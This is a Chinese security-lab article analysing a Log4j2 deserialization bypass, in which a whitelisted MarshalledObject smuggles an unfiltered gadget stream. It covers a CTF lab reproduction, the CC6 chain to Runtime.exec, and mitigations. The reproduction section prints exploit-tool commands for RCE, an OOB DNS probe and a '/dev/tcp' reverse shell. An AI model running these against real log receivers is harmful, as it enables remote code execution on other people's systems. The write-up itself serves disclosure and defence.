当前位置: 首页 > 技术干货 > Log4J2 FilteredObjectInputStream RCE 漏洞分析

Log4J2 FilteredObjectInputStream RCE 漏洞分析

发表于:2026-09-08 10:59 作者: 蚁景网安实验室 阅读数(27人)

一、漏洞概述

Log4j 2.x 为"通过网络传输序列化日志事件"这一场景提供了加固组件FilteredObjectInputStream(下文简称 FOIS)。它是一个基于resolveClass() 的反序列化白名单包装器:流中出现的每个类描述符都必须命中白名单,否则直接抛出InvalidObjectException。官方示例(log4j-samplesObjectInputStreamLogEventBridge)以及大量自研日志采集/转发服务,都用 FOIS 读取反序列化的 LogEvent

2026 年 8 月,研究者发现 FOIS 的默认白名单存在结构性缺陷:白名单包含java.rmi.MarshalledObject,而该类的 get() 方法会在一个全新且不带任何过滤器ObjectInputStream 上反序列化其内部字节;与此同时,Log4j 自己的LogEventProxy(日志事件的序列化代理)在反序列化时自动调用这个 get()。三者叠加的结果是:攻击者只需向这类接收端发送一个精心构造的序列化LogEvent,就能在目标 JVM 内执行任意命令(前提是目标 classpath 上存在可用的 gadget 库)。

该问题目前没有 CVE 编号。Apache 侧将其定位为"应用条件型"缺陷:FOIS 被文档化为加固措施而非信任边界,Log4j Core 在 2.9.0 之后也不再自带反序列化接收器,因此漏洞面取决于应用是否暴露了 FOIS 接收端点(issue #4255)。它和著名的 Log4Shell(CVE-2021-44228)是两回事:Log4Shell 通过"记录一条日志字符串"触发 JNDI 查询;本漏洞需要把原始 Java 序列化字节直接投递给FOIS 接收端,且必须存在 gadget 库才能提升为 RCE。

二、漏洞原理

2.1 FOIS:只检查"看得见"的类

FOIS 继承 ObjectInputStream,仅重写 resolveClass()。流中每个类描述符都要过一遍默认白名单 SerializationUtil.REQUIRED_JAVA_CLASSES:log4j自身包、java.lang.*java.util.*java.math.BigDecimal/BigInteger,以及问题点 java.rmi.MarshalledObject

// log4j-api 2.24.3, SerializationUtil
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
       "java.math.BigDecimal",
       "java.math.BigInteger",
       "java.rmi.MarshalledObject",   // ← 问题点
      ...);

// FilteredObjectInputStream
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
   String name = SerializationUtil.stripArray(desc.getName());
   if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
       throw new InvalidObjectException(
               "Class is not allowed for deserialization: " + name);
  }
   return super.resolveClass(desc);
}

关键局限:resolveClass() 只能看到流里出现的类描述符。如果一个类把内容藏在"不透明字节数组"里,过滤就对它内部完全失效。

2.2 MarshalledObject:白名单里的"黑箱"

java.rmi.MarshalledObject 的用途是把对象序列化后以不透明字节存储(RMI 传输场景)。它有 hashlocBytesobjBytes 三个字段,其中objBytes 就是一段完整的序列化流。FOIS 只能看到类名 MarshalledObjectbyte[] 字段描述符,objBytes 里是什么类一概看不见。而 get() 的实现是:

public T get() throws ... {
  ...
   ObjectInputStream ois = new ObjectInputStream(bi);   // 全新流,无过滤器
   return (T) ois.readObject();
}

也就是说:任何塞进 objBytes 的对象图,都会在一个完全无过滤的流里被反序列化。

2.3 LogEventProxy:Log4j 自带的触发器

Log4j 2.8 起,LogEvent 序列化时通过 writeReplace() 变为Log4jLogEvent$LogEventProxy,其 marshalledMessage 字段正是一个MarshalledObject<Message>。反序列化时:

// Log4jLogEvent$LogEventProxy
private Message message() {
   if (marshalledMessage != null) {
       try {
           return marshalledMessage.get();   // 无过滤反序列化
      } catch (final Exception ex) {
           // ignore me —— 吞掉一切异常
      }
  }
   return new SimpleMessage(messageString);
}

readResolve() 会调用 message()。因此接收端只需要执行FOIS.readObject() 一个动作,内层 gadget 就会被 Log4j 自己的代码自动触发;即使内层反序列化抛出异常,也会被吞掉并回退到 SimpleMessage——利用是"静默"的,接收端日志照常、业务响应照常。

2.4 攻击链总览

攻击者负载(AC ED 00 05 ...)
└─ LogEventProxy                       FOIS 放行(log4j 包)
  └─ MarshalledObject                 FOIS 放行(白名单类)
    └─ objBytes: byte[]               FOIS 放行(原语数组,内容不透明)
        └─ 任意 gadget(CC6 / URLDNS / 其他)
            由 MarshalledObject.get() 在无过滤流中反序列化
            HashSet.readObject
            └─ TiedMapEntry.hashCode
                └─ LazyMap.get
                  └─ ChainedTransformer
                      └─ InvokerTransformer
                        └─ Runtime.exec(cmd)

利用是否成立取决于两层:一是绕过本身(与 log4j 版本强相关),二是内层gadget(与 classpath 上的库强相关)。两者相互独立。

三、攻击复现

以下复现使用的 LogRelay 靶场(靶场地址见文末。logrelay-ctf):服务端为Log4j 2.24.3 + commons-collections 3.2.1 的 JDK 21 容器,暴露 TCP 5514采集端口与 HTTP 8081 状态端口;攻击端为纯 Python 手写 Java 序列化字节,无 JVM、无 ysoserial 依赖。

3.1 协议与侦察

采集端口使用自定义分帧协议 LG01

4 字节魔数 "LG01" | 1 字节版本 0x01 | 4 字节大端长度 N | N 字节负载

负载 = 一个 Java 序列化对象流。服务端每收到一帧,就用 FOIS 读取并尝试还原为 LogEventGET /health 返回frames/accepted/rejected 计数,是观察"静默成功"的窗口。

3.2 检测:URLDNS

URLDNS 是纯 JDK 链(HashMap → java.net.URL),目标不需要任何 gadget 库。把它塞进信封发送后,反序列化会触发一次对攻击者可控域名的 DNS 查询,用OOB/DNSLog 平台(dnslog.cn 或 interactsh)即可确认"内层流确实无过滤":

python3 tools/logrelay.py detect -t 127.0.0.1 -p 5514 --oob YOUR-ID.oast.pro

3.3 RCE:CC6

CC6 链(CommonsCollections6)需要目标 classpath 上有 commons-collections3.2.1 及更早版本。构造要点有三:

  • 外层信封固定为 LogEventProxy → MarshalledObject → objBytes,内层塞入CC6 的序列化字节;

  • 链的触发点在 HashSet.readObject()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer → 三个 InvokerTransformer 反射调用 Runtime.getRuntime().exec(cmd)

  • 字节级细节(本地用 JDK 生成参考流逐一核对过):invoke 的第二个参数类型必须是 Object[].class 而非 Class[].classexeciArgs必须是"包了一层 String[]Object[]"。

命令执行:

python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 -c "touch /tmp/PWNED"

image-20260828152121729

反弹 shell(注意 Ubuntu 的 /bin/sh 是 dash,不识别 /dev/tcp 虚拟路径,必须用 bash -c 'bash -i >& /dev/tcp/H/P 0>&1' 让 bash 解析整段命令):

# 终端 1
nc -lvnp 4444
# 终端 2
python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 \
   --lhost host.docker.internal --lport 4444

image-20260828152259456

3.4 对照组:证明绕过点确实在 FOIS 白名单

tools/proof.py 对同一靶机做三组对照(基于 /health 计数判定):

image.png

同一 gadget 有/无信封结果完全相反,说明:拦截确实由 FOIS 的 resolveClass白名单执行,绕过点是白名单看不见的信封内部。proof.py 还会解析并打印外层对象图里 FOIS 可见的类名,实测只有三个:
org.apache.logging.log4j.core.impl.Log4jLogEvent$LogEventProxy
java.rmi.MarshalledObject
[B

所有 gadget 类只存在于 objBytes 的内嵌序列化流中,外层解析根本不会经过它们——这就是 resolveClass 型白名单的盲区。

3.5 关键路径阻断实验

给服务端 JVM 加 -Djdk.serialFilter=!java.rmi.MarshalledObject 后,同一payload 全部变为 rejectedInvalidClassException: filter status:REJECTED)。该实验同时证明两点:MarshalledObject 处于攻击的必经路径上,且 FOIS 的过滤机制本身确实在生效。

把受害端 commons-collections 换成 3.2.2 再打 C3,预期 accepted 照旧但命令不执行(静默)——说明绕过与 gadget 版本无关,RCE 依赖的是 gadget 库。

四、受影响版本

image.png

gadget 依赖:commons-collections 3.2.1 及更早可被 CC6 利用;3.2.2 起 InvokerTransformer 增加反序列化保护(链静默失效)。其他未加固的gadget 库(Groovy、BeanShell、Spring 等)同样可以替代,因此"没有commons-collections"并不能作为安全依据。

JDK 版本:绕过与 JDK 版本无关,JDK 8 至 21 均验证可触发(gadget 链在较新 JDK 上需要 --add-opens 的只是ysoserial 本地生成环节,不影响目标侧执行)。

五、缓解措施

5.1 结构性修复(首选)

  • 停止用 Java 序列化传输日志:改用 JSON / RFC 5424 布局 + TLS;

  • 不对外暴露反序列化日志接收端;确需暴露时置于可信网络并加认证;

  • 审计并移除不必要的 gadget 依赖(commons-collections 等);

  • 上游修复方向:把 MarshalledObject 移出 REQUIRED_JAVA_CLASSES,并让LogEventProxy 改用 SerializationUtil.writeWrappedObject() /readWrappedObject()ObjectMessage 已采用的正规模式,内层流同样走过滤)。

5.2 JVM 过滤(应急)

-Djdk.serialFilter='!java.rmi.MarshalledObject'

可靠、可落地,但同时拒绝合法的序列化 LogEvent(Log4j 自己的传输也依赖MarshalledObject),属于"有效但不透明"的缓解。

5.3 不可靠的做法

  • maxdepth/maxbytes 通用过滤只能挡住深度较大的链(如 CC6),浅层 gadget和绕过本身依然成立;

  • 仅升级 log4j 小版本无效:受影响区间内(2.11.0–2.26.1)默认白名单一致。

5.4 检测思路

  • URLDNS + OOB DNS 探测:无需 gadget 库即可确认内层流是否无过滤;

  • 对自建日志接收端观察"静默接受"信号(如本靶场的 accepted 计数、异常回退日志),与裸 gadget 对照组比对;

  • -Djdk.serialFilter 阻断实验验证修复是否生效。

参考

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 零基础CTF竞赛实战课 红队攻防特训班 Web安全工程师特训班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   Python网络安全实战班 SRC漏洞高阶实战课 HVV大师课